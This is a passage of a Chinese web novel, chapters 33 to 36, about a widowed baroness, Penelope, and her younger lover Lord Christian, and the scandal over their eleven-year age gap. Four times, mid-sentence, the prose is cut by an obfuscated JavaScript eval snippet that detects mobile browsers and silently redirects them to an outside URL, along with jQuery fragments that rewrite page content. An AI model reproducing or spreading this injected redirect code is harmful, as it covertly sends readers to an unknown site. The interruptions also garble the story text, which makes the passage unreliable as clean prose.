“现在？而且以你的身体，恐怕还是少走点路比较好。”她看了一眼窗外，天色已黑，夜晚笼罩着整个城市。 “现在。”他坚定地说。 佩内洛普并不怕夜晚，她只是好奇克里斯蒂安到底想带她去哪里。不过，她并没有多问，而是任由他牵着她的手，走出了客厅。 他带着她穿过走廊，走上楼梯，最后推开了通往阳台的门。 夜风微凉，带着淡淡的夜花香气。克里斯蒂安松开她的手，走到阳台的栏杆前，回头看着她：“过来。” 佩内洛普走上前，目光顺着他的视线看去——眼前是夜色下的城市，柔和的灯火点缀着街道，远处的泰晤士河在夜色中泛着微光。整个伦敦在黑暗里沉静而神秘，却也透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473063|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某种安详的美感。 “这是我最喜欢的地方之一。”克里斯蒂安轻声说，“我一直喜欢待在伦敦，而不是朗斯通庄园。” 佩内洛普静静地听着，眼神温柔。 “而现在。”他顿了顿，低头看向她，“当你站在这里的时候，我更是觉得，这里比任何地方都更美。” 佩内洛普的心跳漏了一拍，旋即，又开始觉得自己好笑，她好像真的教出了一个优秀的学生呢。 她的唇角微微上扬，无奈道：“克里斯蒂安，我该怎么说你呢？” “说你愿意一直站在这里，陪我看这座城市。” 她轻轻叹了口气，忽然踮起了脚尖，在他唇上落下一个轻柔的吻。 “我愿意。”她低声道。 克里斯蒂安愣了一下，随即，他轻笑出声，伸手搂住了她的腰，把她彻底拉进怀里，回吻了她。 夜色静谧，唯有风声在耳边低语，克里斯蒂安感受到佩内洛普的温度，就像夜色中的暖光，让他无法抗拒地沉溺其中。 他本想再多说些什么，然而，怀中的女人轻轻地靠在他的肩上，似乎已经沉浸在这一刻的安宁里。 “佩内洛普。”他的声音低沉，带着不易察觉的温柔。 她轻轻地“嗯”了一声，像是一只懒洋洋的猫，正享受着夜晚的温存。 克里斯蒂安无奈地笑了笑，抬手抚过她的发丝：“你不该这么晚出来找我，明天一早，要是被好事者看到你从我的房子里离开，这件事可能会登报，到时候整个伦敦社交圈都知道了佩内洛普女爵夜访我的宅邸，每扇体面的大门都不会向你敞开了。” 确实，这就是虚伪的上流社会，就算他们的关系所有人都心知肚明，但只要不曾戳破，大家就能相安无事。 “就让他们说去吧。”佩内洛普的声音里带着一丝倦意，她微微抬起头，一双眼睛亮晶晶的。 她抚摸他的脸：“我过来找我的情人，难道有什么不对吗？” 克里斯蒂安听到“情人”二字，心脏顿时微微一缩。 这个词是他们之间再自然不过的关系定义，但他不想让它只停留在这里。他现在不只想做她的情人，他想要更多更多。 可他知道，如果此刻提起这件事，佩内洛普只会用轻描淡写的态度搪塞过去，并立刻做出一系列决定。 他不能着急，不能重蹈珀西瓦尔爵士的覆辙。 他需要时间，让她习惯他的存在，让她不再把他们的关系视作某种终有一天会结束的安排。 “无论如何，你今晚都不能回去了。”克里斯蒂安缓缓地说，带着不容置疑的语气，“既然你没有带任何东西来，那就让我来替你安排。” 佩内洛普扬起眉梢，语气里带着一丝揶揄：“我该睡哪里呢？你的房间？” 克里斯蒂安低笑出声，目光在她的脸上流连：“如果你愿意的话，我当然是求之不得。” 佩内洛普轻笑一声，转身走回屋内：“我倒是更好奇，你能安排出一间多么舒适的客房。” 克里斯蒂安没有阻止她，只是目送她走回房子里，而后，他的唇角微微上扬。 这一次，她主动来找他了。 而下一次，他会让她再也不愿离开。 33. Chapter 33 佩内洛普得到了一个完美的客房。 只不过，作为“临时客人”，她并没有携带睡衣。于是，克里斯蒂安为她准备了他的——一件剪裁考究的男式白色睡衣，对他而言再合身不过了，可对她来说却像是一件几乎能裹住整个人的罩袍。 佩内洛普站在镜前，看着镜子里那张陌生又熟悉的面孔。她的长发在肩头披散下来，映衬着那件睡衣的白色衣领，更显得她肌肤细腻。衣摆垂至脚踝，在她身上几乎变成了件宽大的连衣裙。她抬手拉了拉衣袖，无奈地笑了笑。 “像是穿着桌布的幽灵。”她低声自嘲了一句，却又忍不住将手掌按在了胸前的衣料上。 那里，是他的体温留下的痕迹，隐隐散发出一丝熟悉的香气——淡淡的古龙水混合着檀香，还有他那属于年轻男人的、令人安心的清冽气息。 她真不应该那么要求的，一间舒适的客房，真是搬起石头砸自己的脚。 佩内洛普收回目光，轻轻坐在床边，缓缓理顺头发，试图让自己可以放松下来。然而，她始终无法真正安下心来入睡。窗外的风轻轻拍打着窗棂，夜色沉静得几乎像是一种等待。 她低头，刚准备熄灭床头的蜡烛，门外却响起了轻缓的脚步声。 很快，克里斯蒂安拿着一根蜡烛，身影被烛光拉长，在门口投下一道修长的影子。他像是踌躇了一下，才轻轻推门进来。烛光映照下，他的面庞半明半暗，眼神温柔而克制。 她看着他果然来陪伴她了，眼睛亮了亮，忍不住在心里偷笑，她就知道。 “我以为你早已经睡了。”佩内洛普抬眸看着他，强行令自己语气平静，好假装自己并没有期望他能过来陪她。 “我睡不着。”克里斯蒂安走进来，语气中夹着一丝无可奈何，又像是别有隐情，“总觉得，好像少了点什么。” “我睡不着。”他说着，目光不禁爬过她的身体，好花时间吸收他爱的女人在自己家的房间里时的每一个细节。 她的深色睫毛贴着她奶油色的皮肤，与脸颊上零星的雀斑调情。她解开的盘发让深色的波浪瀑布一般地倾泻在了肩膀上。她脖子的优美线条在与锁骨连接的地方形成一个空洞，然后消失在……他的睡衣的布料下。 其实在他家里还留着一些费思的旧衣服，只是他不想让她穿旧的，于是最后，她穿上了他的衣服。 而这种安排，可真是让他兴奋。 天呐，他必须尽快恢复他的力量了…… “在你自己的房间还能少了点什么？”佩内洛普故意问。 “就是少了点什么。”他望着她，声音愈发暧昧起来。 “好了，你别这么看着我。”佩内洛普轻笑，打破了空气里那逐渐升温的暧昧，“再这么盯着我，我可真要误会你动了什么坏心思。” 克里斯蒂安也没有否认什么，只是将烛台放在了床头柜上，然后轻声道：“你本来就该误会的。” “哦？”她扬起眉梢，语气微微一挑，“那你现在，是打算爬上我的床了吗，朗斯通勋爵？” “如果你允许的话。”他低声说，声音中有一丝笑意，也有一丝紧张。 佩内洛普微微侧身，往床的另一侧靠了靠，空出一片柔软的位置，眸中带着一丝意味深长的戏谑。 “床的一半空着呢。” 克里斯蒂安的心跳猛地漏了一拍，几乎没有多想，他已经坐了下来。动作很轻，像是生怕惊扰了什么神圣的仪式。 他没有立刻躺下，而是先轻轻将她揽入怀中，让她靠在自己胸膛，感受着她呼吸的频率与自己的慢慢重合。 “你还在生气我非要回家吗？”克里斯蒂安低声问，声音落在了她的发间，带着丝丝颤意。 “我以为你清楚，我从来没真正生你的气。”她答，“我就只是太担心你了，克里斯蒂安。我从没想到……自己会这么担心，这么害怕。” 克里斯蒂安沉默良久，指尖轻轻地描摹着她手背的纹路，一笔一画，像在记住她的一切。 然后，他终于低低开口：“我也怕。” 她抬头望向他，眉眼间是掩不住的讶异。而他则看着她，眼神里没有戏谑，没有轻浮，只有一份真诚到几乎令人心碎的坦率。 “我怕自己会想要留在那里，永远都不走了，而那显然是不可能的。”他说，“会有太多太多的流言蜚语，而我不想让你承受这些，我只想好好保护你，保护你一辈子。” 这句话让佩内洛普再也无法维持一贯的从容，她的眼睫低垂，鼻尖微红。过去，她一直以为自己已经过了会为了男人心动、流泪、动摇的年纪，可他就像一阵春风，悄无声息地扫过了她那些早已干涸的心河，让她不得不承认，她想要的从来不是一个富可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478331|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌国的金主，不是一个名义上的伴侣，而是这样一个人。 一个总是会在深夜里抱紧她，不带任何要求，只为了给予她一点点安稳的人。 “你又在说些孩子气的话了。”她低声道，企图转移话题，“我已经太累了，克里斯蒂安，我想我应该睡觉了。” “我早就不再是当年的那个孩子了。”他俯身贴近她的额头，呢喃似地说，“佩内洛普，我希望有一天，我们在一起时不会产生任何非议，我还希望，你可以待在这里永远也不走了。” 他几乎是在求婚，只不过连他自己也未必察觉到了。 佩内洛普没有回应，她只是颇有些胆战心惊地把头靠在他的肩上，任由他搂紧她，仿佛从这一刻开始，她愿意让自己短暂地软弱一次。 他们就这样相拥坐着，沉默不语。壁炉里的火光跳跃着，投下了摇曳的影子，仿佛映照出他们各自的过往和未来。空气温暖而安静，仿佛整个世界都在这一刻静止。 “你是打算要就这么坐着过一夜吗？”佩内洛普忽然问，语气里带着一丝淡淡的笑意，“难道不打算躺下？” “你是在邀请我？”克里斯蒂安反问，眼神中闪烁着光。 “你都上床了，还需要我邀请什么？”佩内洛普笑着白了他一眼，却也顺势靠进了他怀里，头枕着他的手臂，轻轻拉了拉毯子，将自己和他一同裹在其中。 克里斯蒂安低头，在她额头落下一个吻，然后缓缓躺下，让她也舒适地靠着他。他的呼吸落在她耳边，带着轻微的热度。他几乎可以听到她胸口微弱的心跳——不再是混乱的，而是平静、安稳的。 “晚安，佩内洛普。”他说。 “晚安，克里斯蒂安。”她柔声回应。 片刻后，一只手悄悄地伸了过来，轻轻握住了他扣在她腰间的手指。 他们的十指交缠，不需更多言语。 窗外风声轻拂，夜色温柔。 在这个夜晚，没有人来窥探，也没有人会打扰。这个世界上，终于有一处只属于他们的安宁角落。而在这静谧中，克里斯蒂安知道，他已然不再孤单。佩内洛普也终于明白，也许她还能相信一段感情，哪怕晚了一些，也未曾太迟。 他们靠得很近，近得可以听见彼此心跳的节奏。 就这样，夜缓缓深了，有两颗心，悄悄靠得更近了。 34. Chapter 34 佩内洛普轻轻扶着雕刻精美的楼梯扶手，缓缓走下楼，裙摆随着她的步伐微微摇曳。 她知道，克里斯蒂安此刻一定在客厅里等她。每当他们有晚间的安排时，他总是习惯在她准备的间隙，悠然地享用一杯干邑白兰地，仿佛时间永远在他手中，从容而优雅。 自那场袭击以来，已经过去将近一个月了。克里斯蒂安已经恢复得差不多了，昔日的英俊与锋芒重新回到了他的身上，那双深邃的眼睛里不再有病痛带来的阴霾，而是闪烁着熟悉的光芒。 她步入客厅，果然看到他正坐在壁炉旁，手中端着一杯琥珀色的白兰地，火光映照着他的侧脸，勾勒出他深邃而凌厉的轮廓。 他听见脚步声，抬起头，目光落在她身上，带着一丝难以掩饰的惊艳。 “你总是比我想象的还要更美，佩内洛普。” 佩内洛普轻轻一笑，走到他面前，接过他伸出的手，指尖在他的掌心中轻轻划过，一道无声的挑逗。 “事实上我还真有点紧张，尊敬的杰瑞米·哈特利先生毕竟是你的好朋友。” 而且，她也仍旧担心着流言蜚语，她每天都在自虐一般地阅读着报纸的社交版面，P女爵与L勋爵的名字总是并列在一起，成为贵族们茶余饭后的谈资。而他们最津津乐道的，无非是她与克里斯蒂安之间的年龄差距——一个上了年纪的交际花与一个年轻气盛的贵族，简直是社交界绝佳的谈资。 克里斯蒂安低笑了一声，轻轻拉了拉她的手，让她顺势坐到自己的腿上。 “哈特利是个彻头彻尾的流氓，我希望你离他远一点，亲爱的。” “那么你呢？”佩内洛普问，“你可以和一个流氓做朋友，是不会足以说明，你本质上也是一个流氓？” 克里斯蒂安唇角微微上扬，语调带着一丝慵懒的愉悦：“流氓？” 他的手指轻轻滑过她的腰际，像是无意的触碰，却又带着无尽的暗示。 “我可以承认，有时候我确实会像个流氓……但仅限于在你面前。” 佩内洛普感到一阵微妙的电流从体内传来，直达她的四肢百骸，她不禁轻咳了一声，压抑那突如其来的心跳。 “真的吗？”佩内洛普微微扬起眉头，目光中带着一丝玩味，“我怎么不知道呢？示范给我看看？” 他顿时靠得更近了，温热的气息轻拂过她的耳畔：“你确定要我现在示范？那我们可能去不了哈特利的聚会了。” 不过仔细想想，那其实也没什么吸引力，就让他们待在家里不好吗？比起一群人吃着东西谈着话，他们俩绝对可以更好地度过这几个小时的时光。 于是，他伸出手，用手指滑过她裸露的肩膀。这种触感温暖了她的皮肤，直到热量传遍她的全身。 “要不我们真的别去了吧。”他兴致勃勃地提议道，“正好我也不想让你去，让别的男人都看着你。” 他充满占有欲的样子孩子气极了，但她还是感到如此喜悦。她开始再次觉得自己确实是很有魅力的女性，这甚至激起了她的希望，关于他的希望。 可她愣是让自己去忽视掉了它。 她微微咳了声，轻轻地退后了一步，故作镇定地笑道：“如果我们现在不走，我们会迟到的。” 克里斯蒂安皱起了眉头，嘴里蹦出了一个十分含糊的词，但显然不是什么好话。 他不得不听从了她。 他们一同走进了哈特利的府邸，灯光在这座豪华的宅邸内辉煌地洒下，反射出每个角落的金属光泽和水晶的璀璨。屋内的气氛热烈而炽热，宾客们穿着华丽的礼服，交谈声、笑声交织成一片，宛如一场华丽的表演，而每个人都是舞台上的主角。 克里斯蒂安和佩内洛普并肩而行，吸引了不少目光，尽管他们看起来十分匹配，但也难掩周围人眼中的些许异样。有些人显然对这对男女之间的年龄差距心生疑虑，但他们并没有去在意这些目光，反而从容不迫。 “今晚是个热闹的夜晚。”佩内洛普微微扬起嘴角，转向克里斯蒂安，目光里透着几分不易察觉的玩味。 “是啊，太热闹了。”克里斯蒂安道，“不过我倒宁愿今晚能与其他人无关，只和你一起在家。” “我也是。”佩内洛普轻声说道，眼中闪过一丝温柔的光芒，但她也清楚，作为社交圈中的一员，他们不能完全逃避这种聚会，至少今晚她会尽量保持优雅与从容。 他们来到哈特利身旁，那年轻的男爵继承人正在一群人中间社交，他的手中端着一杯酒，笑容张扬且轻佻。哈特利看到他们到来，立刻露出一抹满是自信的笑容。 “佩内洛普女爵，朗斯通勋爵，真高兴你们能来！”哈特利声音高亢，笑得有些得意，“今晚必定是一个不容错过的夜晚，来，来，尽情享受！” “感谢你的邀请，哈特利。”克里斯蒂安微笑着回应，眼中带着些许警觉，尽管他早已习惯了这些社交场合，但总有些事情让他心中不安。他将目光转向佩内洛普，看到她那种温婉的微笑，不由得心情放松一些。 哈特利随即引领他们进入人群，转瞬之间，宾客们开始向他们投来目光，佩内洛普的出现无疑引起了人们的关注，尽管她并不是最年轻的女性，但她的气质和魅力依然让她成为这个聚会的焦点。 他们与几位上层人士交谈时，佩内洛普的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484606|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优雅风度令每个人都为之一振。她的聪明与知性让那些贵族们不禁投以敬佩的目光，尤其是与克里斯蒂安站在一起时，二人的默契也让人感受到一种自然的吸引力。 然后，佩内洛普看到里士满夫人莎拉也出现在现场与其中一位客人交谈。 当莎拉看到佩内洛普时，她不得不向对方致歉，然后赶紧去往了朋友的身边，给了她一个大大的拥抱。 “看看这是谁啊，我最甜蜜的佩妮。”莎拉道，“你可真是容光焕发，看起来年轻的男人就是有奇效，是不是？” 佩内洛普正要回答莎拉的玩笑话，却忽然听见身后又传来了一个略带讽刺的声音—— “哦，佩内洛普女爵，真高兴可以在这里看到你。” 她转过身，看到一位身着酒红色礼服的女子缓缓走来，脸上挂着一抹淡淡的笑容。那笑容里带着几分刻意的亲切，却根本掩饰不住眼底的冷意。 “汉娜·克罗夫特小姐。”佩内洛普语气平静地唤出她的名字。 空气中，开始弥漫起了一丝隐隐的硝烟味。 汉娜·克罗夫特，曾经是她在社交圈中最大的对手。她们因为同样的魅力、聪慧而时常被放在一起比较。那时候她们是朋友，也是敌人，最终，因为一些流言蜚语，她们彻底交恶。 “我可真是惊讶，佩内洛普。”汉娜缓缓地走近，“你居然愿意出现在这里，而不是躲在家里避开所有人的目光。” 佩内洛普微微一笑，依旧端庄优雅地回应：“我为什么要躲？在场的每一个人，都有属于自己的故事和选择。” 汉娜轻笑了一声，随即意味深长地说道：“确实，每个人都有自己的选择。例如，某些人会选择……沉迷于年轻的温暖，而忽视了岁月的差距。” 周围的几位宾客顿时安静了下来，显然都听出了汉娜话中的讽刺意味。莎拉的眉头一皱，刚要开口，却被佩内洛普用一个安抚的眼神拦住。 佩内洛普依旧保持微笑，但心里已经明白了汉娜正想要存心使她难堪。 “我和朗斯通勋爵的关系与任何人都无关，即使我们的年龄可能相差几年。” 汉娜假装无意地叹了口气，目光在佩内洛普与不远处的克里斯蒂安之间来回打量，最后笑着看向了佩内洛普：“几岁？原来你不知道吗？我和他差的才是几岁，你比他大了整整十一岁，我亲爱的佩内洛普女爵。” 此话一出，空气仿佛凝固了一瞬。几位站得近的宾客纷纷交换着意味深长的眼神。社交圈里一直流传着关于佩内洛普年龄的闲言碎语，但一直没有人会在她面前如此直接地提起。 佩内洛普整个人都僵住了。 35. Chapter 35 她比他大十一岁？这怎么可能？佩内洛普想。 她当然比克里斯蒂安大上好几岁，但是十一岁？不可能，他太成熟了，他绝不可能会是二十五岁，一个才刚出大学没几年的小伙子。 她居然深深地爱上了一个学校男孩？她再大几岁都可以做他的母亲了！ 爱。 她痛苦地意识到自己终究还是承认了这一点，她曾那么努力地抵抗他的魅力，却还是爱上了他，深深地爱上了他，可是到了现在，她又如何能爱他呢？ 逼近的窃窃私语和那些好奇的目光仿佛一张无形的网，将她完全困住，让她无所遁形。如若不是莎拉正搀扶着她，她一定已经晕倒在地了。 她曾经以为自己已经足够无所谓了，但此刻，她能清晰地感受到内心最深处的脆弱被人狠狠地撕开，暴露在这个华丽而冷漠的社交舞台上。 “莎拉。”她轻轻地唤。 “什么？” “你知道这个吗？他才二十五岁。” 莎拉摇摇头，用一种疑惑的口气道：“你知道我一向看不出男人的年纪的，那真的非常迷惑人，当然了，女人也差不多。” 即便是这么痛苦的时候，佩内洛普依旧被她朋友的语气给逗笑了。 之后唯一值得庆幸的是，哈特利太太伊莎贝拉并没有让克里斯蒂安护送她去用餐。 在整个过程中，她努力让自己不要去看克里斯蒂安，但这是没法避免的。有那么几次，他们的目光相遇，他的眼神带着几分关切，她只能避开，并与身边年长的绅士说笑。 也许这就是哈特利太太的用意，她与这位绅士确实在年龄方面合适得多。 她与克里斯蒂安是彻头彻尾的错误。 用完最后一道菜后，哈特利太太邀请女士们到客厅，而男士们则是继续享用美酒。佩内洛普离开房间时没有看克里斯蒂安一眼，但她能感觉到他的目光一直跟随着她。 几乎没过多久，佩内洛普一意识到男士们也要过来了，就对身边一直陪着她的莎拉说：“我现在想回家，莎拉，我实在撑不下去了，送我回家。” 她声音中的恐慌令莎拉无法拒绝。 莎拉点了点头：“我待会儿会和我的丈夫说的。” 可一阵熟悉的视线已经落在了她的身上，她知道克里斯蒂安过来了。 “佩内洛普，你怎么了？”他问，“你一整个晚上都看起来很不舒服。” “这没什么，我想我只是有点累。”佩内洛普说。 克里斯蒂安微微皱眉，显然不相信她的敷衍。 “你并不像是‘只是有点累’的样子。”他的声音低沉，带着一丝探究，“佩内洛普，发生什么事了？” 她垂下眼睫，不敢与他对视，仿佛只要看着他的眼睛，就会被他轻易地拆穿。可是她不能被拆穿，她必须保持镇定，必须让自己相信这一切都没有动摇她的理智。 “克里斯蒂安，不要这样。”她的声音听起来轻飘飘的，就像是一阵叹息，“我只是需要回家休息，里士满勋爵与夫人会送我回家。” 她想离开，想从他的目光中逃开，可是克里斯蒂安并没有给她机会。他伸出手，轻轻地握住了她的手腕，那温暖的触感像是一道枷锁，让她的脚步顿住，也让她的心跳猛地一滞。 “佩内洛普，是我护送你过来的，我才有这个义务送你回家。” 她终于抬起头，看着他的眼睛，那里没有疑问，只有清晰的洞察——他已经察觉到她的不安，甚至是……隐隐地猜到了她在想什么。 她该如何解释？她该如何告诉他，她刚刚意识到的那个事实？她该如何告诉他，她无法接受自己爱上了他，尤其他竟然比自己小了整整十一岁？ 她咽下了心头的苦涩，试图挣脱他的手，可克里斯蒂安却将她的手握得更紧了一些：“佩内洛普，我们走吧。” 她闭了闭眼，努力让自己的声音听起来足够平稳：“里士满男爵会送我。” 然后，她挣开了他的手，而莎拉则将她的手接了过来，稳住她。 “我会照顾好佩内洛普女爵的，还是你不相信我，爵爷？” 不再是交际花一贯的轻浮，此刻莎拉的神色看着甚至有几分摄人的锋芒。 面对两个女人的夹击，克里斯蒂安实在没有办法了，只能投降。 当他不得不走开时，哈特利太太走过来了。 她关切地问：“佩内洛普女爵，你不舒服吗？” “我非常非常抱歉，哈特利太太，但我想我可能必须回家了。” “你当然应该回家去。”哈特利太太轻声说道，“我很抱歉你竟感觉不舒服。哈特利先生或我能为你做些什么吗？” “不，谢谢你，太太，我确信我很快就会康复的。” 这句话在她的嘴里很苦涩。她可能会从耻辱中恢复过来，但她永远找不到办法修补自己的心。她向聚会的主人轻轻点头，走向敞开的门口，非常清楚在她离开后人们那些窥探的目光。 在马车上，莎拉将她抱在怀里，就像十年前她被伤透了心的那一次一样，任由她无声地哭泣。 “你知道吗？”莎拉轻声说道，轻柔地拍着她的背，“我不是没见过你受伤，但不是今晚这样，今晚你的心彻底地碎了，是吗？” 佩内洛普没有回答，只是闭上了眼，试图将自己与现实隔离。但莎拉却不肯放过她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488693|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “佩内洛普，你爱他，对吗？” 她的眼泪落得更急了。 “我爱他，确实，我何必否认呢？谁都看得出来，可是这有什么用呢？”她哽咽着，声音里满是压抑已久的痛苦，“莎拉，我怎么能爱他？我比他大十一岁，他应该找个年轻又美丽的姑娘，而不是——” “而不是一个优雅、美丽，足够聪慧又独立的女人？”莎拉打断她，语气带着一丝恼怒。 “佩内洛普，你能听听自己说什么吗？我承认，你们的年龄差有点大，但年纪有什么关系呢？多少男人比他的妻子年长得多。你最在乎的其实根本不是这个。” 佩内洛普的身体微微一颤，她睁开眼睛，看着莎拉那双锐利的眼睛，心里泛起一丝慌乱。 “我不知道你在说什么……”她低声辩解道。 莎拉冷笑了一声：“你当然知道，你害怕的根本就不是年纪问题。” 佩内洛普的呼吸猛地一滞。 莎拉叹了口气，握住她的手，声音柔和了些：“你害怕去相信，害怕再一次将心交出去，害怕他会跟其他男人一样地离开，害怕所有人都会嘲笑你……但最可怕的是，你害怕自己会无法承受这些。” 沉默弥漫在车厢里，佩内洛普的指甲几乎就要嵌进掌心，她的眼泪仍旧在流，但这一次，她无处可逃了。 她真的害怕。 她害怕失去他，害怕自己配不上他的年轻、他的深情，害怕所有的一切只是自己的一场幻梦。 但如果她现在就放手，她会不会失去得更多？ 她的思绪混乱不堪，直到马车缓缓停下。 莎拉轻轻叹了口气，最后一次拥抱了她：“不管你做什么决定，佩内洛普，我都会支持你。但你要想清楚，你是真的想放弃他，还是只是害怕去爱？” 佩内洛普没有回答。 她只是下了马车，踏入夜色，心里却比任何时候都更加混乱。 当里士满男爵的马车离开，她仰望星空，心跳仍未从方才的震荡中平复。莎拉的那句话在她耳边回荡——“你是真的想放弃他，还是只是害怕去爱？” 她曾以为自己已经足够成熟，足够理智，可以优雅面对一切风言风语，可以坦然接受自己的人生选择，可是当汉娜那句“你比他大整整十一岁”毫不留情地抛出时，她才意识到，自己其实比任何人都在意这些流言。 她竟然比他年长那么多，他还年轻，还有无限的可能，而她呢？她是否真的有资格去占据他的未来？她如何能忍受那些目光里隐隐的怜悯和揶揄？ 她深吸了一口气，缓缓走向府邸，仿佛每一步都走在薄冰之上。 她的世界，彻底陷入了混乱。 36. Chapter 36 克里斯蒂安第二天一大早就过来拜访了。 仆人们已经习惯了他时不时出现的举动，甚至都没有丝毫阻拦，就直接让他上了楼。佩内洛普正坐在卧室的窗前，手中拿着一本翻到一半的小说，听见门响时，她还以为是女仆送早餐来了。 当她抬头看见那抹熟悉高大的身影时，整个人微微一震。 “你……你怎么上来的？”她脱口而出，声音里带着掩饰不住的慌张。 “你说我怎么上来的？”他反问。 佩内洛普顿时说不出话来了。他目前仍然是她的保护人，他当然可以想来就来想走就走了。 “我只是想知道我们之间怎么了。”克里斯蒂安道。 佩内洛普看着他，犹豫了一下，道：“克里斯蒂安，我们之间……也许并不像我们以为的那样合适，我想，我们应该结束我们的关系了，正好，你也可以出师了。” 一瞬间，沉默在他们之间弥漫开来。 克里斯蒂安的手微微一紧，随后缓缓松开。他的目光微微一沉，像是要看穿她所有的伪装。 “你到底在想什么？你为什么又忽然？该死，是谁又说了什么吗？” 佩内洛普深吸了一口气，努力让自己维持冷静：“我对你来说实在太老了，克里斯蒂安。” 可克里斯蒂安一听到这种话就来气：“我就知道又是这个，别再继续强调年龄的问题了，我们就不能真的忘掉它吗？” “我忘不掉，我怎么也没有想到，我一直以为我可能就比你大几岁，结果，我竟然比你大十一岁，天呐，我可真是个老不羞。” 她终于说出口了，“十一岁”这个词就像是带着重量般，从她的唇间落下，压得她根本喘不过气来。 “当我已经是个少女的时候。”佩内洛普低低地笑了笑，带着无尽的自嘲和苦涩，“你还只是个襁褓里的孩子啊，克里斯蒂安。” “是谁告诉你的？”他的声音里带着一丝危险的平静。 佩内洛普轻轻地笑了一下，但那笑容里满是自嘲：“重要吗，克里斯蒂安？我以为真正重要的是这个事实，我比你大了整整十一岁。” “你一直知道你比我年长一些，大十一岁与几岁，又有什么区别呢？” “区别太大了！”佩内洛普道，“当你四十岁时，你仍然风华正茂，而我呢？五十一岁的我，已经是个花白头发的老妇了，到时候我们站在一起会多么可笑！我甚至怀疑你那时候还愿不愿意与我站在一起。” 克里斯蒂安道：“你就算头发全白了，也会是最漂亮的那个老太太。” 佩内洛普心头狠狠一震，但她努力让自己不被这句话击垮。 “别拿这种话来哄我了，你欺骗了我，你早就知道我们的年龄差距了，不是吗？不然你怎么会一点惊讶都没有，可你从未提起。” “我不提是因为我觉得不重要。” 佩内洛普冷笑：“我的看法正好相反，你不提恰恰是因为觉得太重要。” “那是对你而言太重要，佩内洛普，从来就不是对我，我从来没有在乎过，从十年前开始就没有在乎过！” 佩内洛普愣住了：“你说什么？什么十年前？” 克里斯蒂安苦笑：“我早在十年前就已经遇见你了。” 佩内洛普努力地想了很久，但眼神中仍旧满是疑惑。 他就知道，她真的一点都不记得了。 “当时你穿着一件红色的衣服，帽子上装饰着羽毛，你闯进我同学的家里，但可惜他们父子都出去钓鱼了，只有我因为身体不舒服留在家里。当你哭得伤心时，我还给你递了一块手帕。” 佩内洛普的记忆中终于浮现出一点模糊的影像。 那一天，那个细瘦却倔强的小男孩，他递给了她一块手帕。那一刻，她狼狈不堪，而他带着一双清澈得近乎透明的漂亮眼睛，安静地看着她。 她感伤道：“原来是你，我以为，我以为你就是他的儿子，我没想到……” 克里斯蒂安道：“我也没有向你解释，不是么？我当时看你都看呆了，你美得跟天使一样，我根本说不出话来。” 佩内洛普仔细地望着他，轻轻道：“而我竟然完全不记得你的脸了。” “你当然会不记得，那很正常，你的心那时候完全在别的男人身上。” “可是你却一直记得我。” “你一直是我的梦，佩内洛普。” 佩内洛普努力控制了自己不要落泪：“你的梦该醒了。” 克里斯蒂安的心在她的话语中狠狠地颤抖了一下，他看着她，眼中的光芒渐渐消失，仿佛所有的温暖都被她的冷漠吞噬了。他的胸口像是被重重地打了一拳，空气似乎瞬间凝固了。 “佩内洛普，我一直以为你至少能感受到我的心意。”他的声音低沉而沙哑，“从十年前起，你就一直就在我心中，你怎么能说这样的话来呢？” 佩内洛普的眼神闪烁了一下，心底升起一股无法言喻的情绪。 若昨晚的一切都没有发生该多好，她会多么高兴得知这一切，可惜，一切都已经无法回去了。 她不是不相信他对她的真心，但人心易变，她太老了，已经没有勇气去赌男人的真心了。 “克里斯蒂安，你有你的未来，你不该把自己浪费在我这样的人身上。”她低声道，声音中带着无法掩饰的痛楚，“你比我年轻得多，而我，已经不再是那个能陪伴你走向未来的人。” “我从未把你当作负担，佩内洛普。”克里斯蒂安说，“你一直是我心中的唯一，所有人都在看我们的年龄差距，而我从未在乎过，你不明白，你从来就没有明白过……” 